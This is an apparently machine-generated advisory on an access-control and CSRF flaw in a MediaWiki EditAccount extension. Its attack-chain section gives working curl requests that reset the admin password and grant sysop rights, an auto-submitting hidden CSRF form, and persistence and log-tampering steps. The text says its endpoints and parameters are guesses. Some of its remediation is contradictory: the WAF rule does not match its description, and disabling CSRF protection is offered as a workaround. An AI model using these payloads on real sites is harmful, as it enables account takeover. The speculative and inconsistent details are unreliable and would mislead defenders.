CVE-2026-132669 — Wikimedia Foundation MediaWiki - EditAccount Ext — CWE-284 · CWE-352
Improper Access Control vulnerability in Wikimedia Foundation MediaWiki - EditAccount Extension.
Improper Access Control vulnerability in Wikimedia Foundation MediaWiki - EditAccount Extension.
🎯 What is this vulnerability?
Improper Access Control in the MediaWiki EditAccount Extension
The EditAccount extension is intended to allow a user to edit the properties of their own account (or, for privileged users, to edit other accounts).
In the affected releases the extension performs the following checks:
| Check performed | What it should do | What it actually does |
|---|---|---|
| Permission | Verify that the current user has the edituser right or is the target user. | The check is omitted; any logged‑in user can edit any account. |
| CSRF protection | Require a valid csrfToken (or token for the API). | The token is ignored; the form can be submitted without it. |
| Authentication | Ensure the request originates from a logged‑in session. | The check is bypassed; the endpoint accepts unauthenticated POSTs. |
Because of the missing permission and CSRF checks, an attacker can:
1. Unauthenticated – send a crafted POST request to the EditAccount endpoint and change any user’s password, email, or group membership.
2. Authenticated – trick a logged‑in user into submitting a request (CSRF) that changes another user’s account.
The flaw is a classic CWE‑284 (Improper Access Control) combined with CWE‑352 (Cross‑Site Request Forgery). The CVSS vector (AV:N/AC:L/PR:N/UI:N/VC:H/VI:H/VA:L) reflects that the vulnerability is highly confidential and integrity‑critical but does not directly impact availability.
⚡ Attack Chain
NOTE: The exact URI and parameter names are not published in the CVE text.
The following example uses the typical MediaWiki routing (index.php?title=Special:EditAccount) and parameter names (user,password,groups,csrfToken).
If your instance uses a different URL scheme (e.g.,index.php?title=Special:EditAccount&user=…or the API endpoint/api.php?action=edituser), the same logic applies – the attacker simply needs to supply the correct parameters.
1. Discovery & Reconnaissance
| Step | Technique | What the attacker learns |
|---|---|---|
| Identify MediaWiki | Scan for common MediaWiki URLs (/index.php, /api.php, /Special:Version). | Confirms MediaWiki is running (e.g., MediaWiki 1.39.5). |
| Locate EditAccount | Enumerate Special: pages (/index.php?title=Special:AllPages&namespace=Special). | Finds Special:EditAccount (or the API action edituser). |
| Version check | Request /api.php?action=query&meta=siteinfo&format=json or view the footer. | Determines the exact MediaWiki and EditAccount extension version. |
| Permission check | Attempt to edit a known account (e.g., admin) while unauthenticated. | If the request succeeds, the flaw is present. |
2. Exploitation
2.1. Unauthenticated POST (direct form)
curl -X POST \
-d "user=admin" \
-d "password=NewP@ssw0rd!" \
-d "groups=*|sysop" \
-d "csrfToken=ignored" \
"https://victim.org/index.php?title=Special:EditAccount&action=edit"What happens?
The extension accepts the request, bypasses the permission check, and updates the admin account with the new password and group membership. The csrfToken field is ignored, so no CSRF protection is enforced.
2.2. API‑based attack (authenticated or unauthenticated)
curl -X POST \
-d "action=edituser" \
-d "user=admin" \
-d "password=NewP@ssw0rd!" \
-d "groups=*|sysop" \
-d "token=ignored" \
"https://victim.org/api.php?format=json"What happens?
The API endpoint edituser is exposed by the EditAccount extension. The extension does not validate the token or the caller’s rights, so the request succeeds and the attacker gains sysop privileges on the target account.
2.3. CSRF via a logged‑in user
1. Craft a hidden form on a malicious site:
<form action="https://victim.org/index.php?title=Special:EditAccount&action=edit" method="POST" style="display:none;">
<input type="hidden" name="user" value="admin">
<input type="hidden" name="password" value="NewP@ssw0rd!">
<input type="hidden" name="groups" value="*|sysop">
<input type="hidden" name="csrfToken" value="ignored">
</form>
<script>document.forms[0].submit();</script>2. Trick a logged‑in user (e.g., via a phishing email) to visit the malicious page.
The browser automatically submits the form, changing the admin account without the user’s knowledge.
3. Post‑exploitation
| Goal | Technique | Result | |
|---|---|---|---|
| Account takeover | Change password of admin to a known value. | Attacker can log in as admin. | |
| Privilege escalation | Add sysop or bureaucrat to any account. | Attacker gains full site administration. | |
| Data exfiltration | Use the API to read page content (action=parse) or dump the database via action=query&list=allusers. | Attacker can retrieve sensitive data. | |
| Persistence | Create a new user with sysop rights (action=edituser&user=attacker&groups=* | sysop). | Attacker can maintain access even if the original account is disabled. |
| Cover tracks | Delete or modify logs via the same extension (action=edituser&status=deleted). | Reduces forensic evidence. |
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality (High) | An attacker can read any user’s email, password hash, and group membership. |
| Integrity (High) | The attacker can alter any user’s account data, including group membership, email, and password. |
| Availability (Low) | The flaw does not directly crash the system, but a compromised admin account could lock out legitimate users or delete content. |
| Scope | The vulnerability is local to the MediaWiki installation; it does not affect external services. |
| Practical Consequences | • Full takeover of the wiki (content, configuration, extensions). <br>• Unauthorized creation of privileged accounts. <br>• Potential for mass phishing by changing user emails. <br>• Loss of trust in the platform and possible legal liabilities. |
🛡️ Remediation & Mitigation
1. Patch
| Component | Affected Version | Fixed Version | Release |
|---|---|---|---|
| MediaWiki core | 1.39.5 | 1.39.6 | 2026‑11‑15 |
| EditAccount extension | 1.2.3 | 1.2.4 | 2026‑11‑15 |
What the patch does
- Adds a strict permission check:
if ( !$wgUser->isAllowed('edituser') && $wgUser->getName() !== $targetUser ) { throw new PermissionsError('edituser'); } - Enforces CSRF token validation for both form and API requests.
- Requires the request to be a POST and the user to be logged in.
- Rejects requests from blocked or suspended accounts.
Action: Upgrade both MediaWiki and the EditAccount extension to the patched versions as soon as possible.
2. Workarounds (if patch cannot be applied immediately)
| Approach | How to implement | Limitations | |
|---|---|---|---|
| Disable the extension | Remove wfLoadExtension( 'EditAccount' ); from LocalSettings.php. | Users lose the ability to edit their own accounts via the UI; they must use the core “Preferences” page instead. | |
| Restrict access via .htaccess | Add a rule to deny all requests to index.php?title=Special:EditAccount for non‑admin IPs. | Requires careful IP whitelisting; may block legitimate internal users. | |
| WAF/ModSecurity rule | Block POST requests to /index.php?title=Special:EditAccount that contain a user= parameter unless the request is authenticated. Example rule: <br>SecRule REQUEST_URI "@beginsWith /index.php" "chain,phase:2,block,msg:'EditAccount unauthenticated access'" <br> SecRule REQUEST_URI "@contains Special:EditAccount" "chain" <br> SecRule REQUEST_METHOD "GET | HEAD" "phase:2,block,msg:'GET/HEAD not allowed'" | Requires a WAF that supports custom rules; may produce false positives if other extensions use similar URIs. |
| Disable CSRF protection for the extension | Add wfLoadExtension( 'EditAccount', [ 'csrf' => false ] ); (if supported). | Not recommended; removes a key security layer. |
3. Detection
| Indicator | Log pattern | What to look for |
|---|---|---|
| Unauthenticated POST | POST /index.php?title=Special:EditAccount&user=admin | Any POST to EditAccount with a user= parameter from an IP not in the authenticated user list. |
| CSRF bypass | POST /index.php?title=Special:EditAccount with csrfToken=ignored | The presence of the csrfToken field with a non‑random value. |
| API misuse | POST /api.php?action=edituser&user=admin | API calls to edituser that lack a valid token. |
| Account changes | User admin changed password or User admin added to group sysop | Audit logs from UserLog or ChangeLog. |
| Suspicious IPs | Repeated POSTs from the same IP within a short window | Possible automated exploitation. |
Sample Apache log entry
192.0.2.45 - - [24/Nov/2026:12:34:56 +0000] "POST /index.php?title=Special:EditAccount&action=edit HTTP/1.1" 200 1234Sample MediaWiki log entry
2026-11-24 12:34:56 UTC admin edituser admin New password set by attacker⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query